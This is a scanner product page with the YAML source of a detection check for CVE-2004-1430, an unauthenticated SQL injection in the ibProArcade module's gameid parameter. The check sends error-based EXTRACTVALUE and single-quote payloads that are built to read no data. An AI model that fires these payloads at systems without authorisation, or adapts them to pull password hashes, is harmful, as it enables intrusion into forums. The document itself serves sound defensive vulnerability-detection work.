ibProArcade — 1 vulnerability check

noctis ships 1 vulnerability check for ibProArcade, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ibProArcade index.php 'gameid' SQL Injection

CVECVE-2004-1430
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/ibproarcade/CVE-2004-1430.yaml

Tests the ibProArcade arcade module for Invision Power Board for the unauthenticated SQL injection through the gameid parameter of its high-score statistics page (index.php?act=Arcade&do=stats). In the web root and in the /forum, /forums, /board and /ipb directories, once the statistics page answers a plain request without a database error, the feed sends a gameid value that makes the database raise an XPath error carrying the product of two random numbers. The correct product in the board's database error page confirms that the database ran the injected expression; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports the board's database error page showing the arcade score query and the MySQL error after a single quote is appended to gameid, provided the plain request showed no such error. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php?act=Arcade&do=stats&gameid=1
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/index.php?act=Arcade&do=stats&gameid=1%20AND%20extractvalue(1,concat(0x7e,{{m…
  6. Parses / computes the next value with a Rhai script
  7. Checks proof for ^XPATH syntax error: ~[0-9]+$ → finding QoD 97: ibProArcade index.php 'gameid' SQL Injection (CVE-2004-1430)
  8. HTTP(S) request GET {{dir}}/index.php?act=Arcade&do=stats&gameid=1%27
  9. Parses / computes the next value with a Rhai script
  10. Checks syn for ^IPB database error on the arcade score query$ → finding QoD 75: ibProArcade index.php 'gameid' SQL Injection (CVE-2004-1430)

References:

Feed source — tests/vulnerabilities/ibproarcade/CVE-2004-1430.yaml
# ibProArcade (Invision Power Board arcade module) index.php?act=Arcade&do=stats
# 'gameid' SQL injection — CVE-2004-1430
#
# ibProArcade is an arcade / high-score module for Invision Power Board. Its
# show_stats() function (sources/Arcade.php, reached through
# index.php?act=Arcade&do=stats) pastes the gameid GET value unquoted into
#   SELECT COUNT(s_id) AS amount FROM ibf_games_scores WHERE gid=<gameid>
# Public advisory: mike bailey, Bugtraq 2004-12-31 (BID 12138), whose fix adds an
# is_numeric() check on gameid that answers "I don't think so annie.".
#
# IPB's input cleaner (functions.php clean_value(), checked in the IPB 1.3.1
# source) turns ' into &#39;, " into &quot;, & into &amp;, ! into &#33;, $ into
# &#036; and < > into entities before the value reaches the query, so only a
# quote-free, unquoted-context payload works. IPB's MySQL driver dies on a failed
# query with its "Invision Power Board Database Error" page, whose textarea holds
# htmlspecialchars("mySQL query error: <query>\n\nmySQL error: <mysql_error()>").
#
# Detection (benign, read-only), per candidate board directory
# ("", /forum, /forums, /board, /ipb):
#   1. Control: GET <dir>/index.php?act=Arcade&do=stats&gameid=1 must answer 200
#      without an IPB database error page (also gates the probes: nothing is
#      injected into a server without the page).
#   2. gameid=1 AND extractvalue(1,concat(0x7e,<a>*<b>)) — MySQL raises
#      "XPATH syntax error: '~<a×b>'", shown in the database error page. The
#      product of two random 6-digit operands is not in the request, so a page
#      that only echoes the URL cannot produce it. MySQL folds the constant: no
#      row is read. QoD 97.
#   3. Fallback (MySQL < 5.1 has no EXTRACTVALUE): gameid=1' (the quote becomes
#      &#39;, and "#" opens a MySQL comment, so the query breaks) must return the
#      IPB database error page quoting the arcade score query
#      "SELECT COUNT(s_id) AS amount FROM <prefix>games_scores" and a
#      "SQL error:" line (IPB 1.x "mySQL error:", 2.x "SQL error:"), while the
#      control showed no such page. QoD 75.
#
# Improvements over the source NASL: a database-computed proof (QoD 97), an
# error-free control request, any table prefix (not only ibf_), and the usual
# board directories besides the web root.
#
# CVSS: CVE-2004-1430 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/ibproarcade_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.16086, GPL-2.0-only).
uid: 20b72d46-eb7f-4ec2-aae3-b753fcdd3802
name: "ibProArcade index.php 'gameid' SQL Injection (CVE-2004-1430)"
description: |
  Tests the ibProArcade arcade module for Invision Power Board for the
  unauthenticated SQL injection through the gameid parameter of its high-score
  statistics page (index.php?act=Arcade&do=stats). In the web root and in the
  /forum, /forums, /board and /ipb directories, once the statistics page answers
  a plain request without a database error, the feed sends a gameid value that
  makes the database raise an XPath error carrying the product of two random
  numbers. The correct product in the board's database error page confirms that
  the database ran the injected expression; the product is not part of the
  request, so a page that only echoes the URL is not reported. On databases
  without the EXTRACTVALUE function, the feed instead reports the board's
  database error page showing the arcade score query and the MySQL error after
  a single quote is appended to gameid, provided the plain request showed no
  such error. The probes read no table row and change nothing.
cves: [CVE-2004-1430]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [ibproarcade, invision-power-board, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1430"
  - "https://seclists.org/bugtraq/2004/Dec/462"
  - "https://www.securityfocus.com/bid/12138"
  - "http://marc.info/?l=bugtraq&m=110451448630711&w=2"
  # OpenVAS/Greenbone NASL pre2008/ibproarcade_sql_injection.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected proof is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate board dir ───────
  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/forum", "/forums", "/board", "/ipb"]
      var: dir

  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?act=Arcade&do=stats&gameid=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: ctl_r

  - id: gate
    action: script
    code: |
      proof == "" && ctl_r.status == 200 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "mySQL query error") < 0 && stridx(ctl_r.body, "XPATH syntax error") < 0
    store_as: ok

  # gameid=1 AND extractvalue(1,concat(0x7e,<a>*<b>)) — no character that IPB's
  # input cleaner rewrites.
  - id: inject-numeric
    action: http_request
    method: GET
    path: "{{dir}}/index.php?act=Arcade&do=stats&gameid=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'ok == true'
    store_as: num_r

  # The error page passes the MySQL message through htmlspecialchars(); accept
  # the quote in any common form, or none.
  - id: verdict-numeric
    action: script
    code: |
      if ok == true && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "ibProArcade index.php 'gameid' SQL Injection (CVE-2004-1430)"
        description: "An unauthenticated GET to the arcade statistics page (index.php?act=Arcade&do=stats) with SQL appended to the gameid parameter made the database compute the product of two random numbers, which came back in the board's database error page. Any query the board's database user may run can be injected the same way, including reading the member accounts and their password hashes."
        remediation: "Upgrade ibProArcade to a release that validates gameid as a number, or remove the arcade module from the board. As a stopgap, reject non-numeric gameid values in show_stats() (sources/Arcade.php)."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/index.php?act=Arcade&do=stats with an injected gameid computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallback for MySQL < 5.1: the IPB database error page quoting the arcade
  # score query, while the control showed none.
  - id: inject-quote
    action: http_request
    method: GET
    path: "{{dir}}/index.php?act=Arcade&do=stats&gameid=1%27"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'ok == true && proof == ""'
    store_as: mark_r

  - id: verdict-quote
    action: script
    code: |
      if proof == "" && ok == true && type_of(mark_r.body) == "string" && egrep("mySQL query error: SELECT COUNT\\(s_id\\) AS amount FROM [A-Za-z0-9_]*games_scores", mark_r.body) != "" && stridx(mark_r.body, "SQL error:") >= 0 { "IPB database error on the arcade score query" } else { "" }
    store_as: syn

  - id: report-syntax
    action: match
    source: syn
    pattern: "^IPB database error on the arcade score query$"
    on_match:
      finding:
        title: "ibProArcade index.php 'gameid' SQL Injection (CVE-2004-1430)"
        description: "An unauthenticated GET to the arcade statistics page (index.php?act=Arcade&do=stats) with a single quote appended to the gameid parameter returned the board's database error page showing the arcade score query and a MySQL error, while the same page with a plain gameid showed no error: the parameter is pasted into the query without validation. Any query the board's database user may run can be injected the same way."
        remediation: "Upgrade ibProArcade to a release that validates gameid as a number, or remove the arcade module from the board. As a stopgap, reject non-numeric gameid values in show_stats() (sources/Arcade.php)."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/index.php?act=Arcade&do=stats&gameid=1' returned the board's database error page quoting SELECT COUNT(s_id) AS amount FROM …games_scores with a MySQL error; the same page with gameid=1 returned status {{ctl_r.status}} with no database error"
      stop: true

View these feeds on GitHub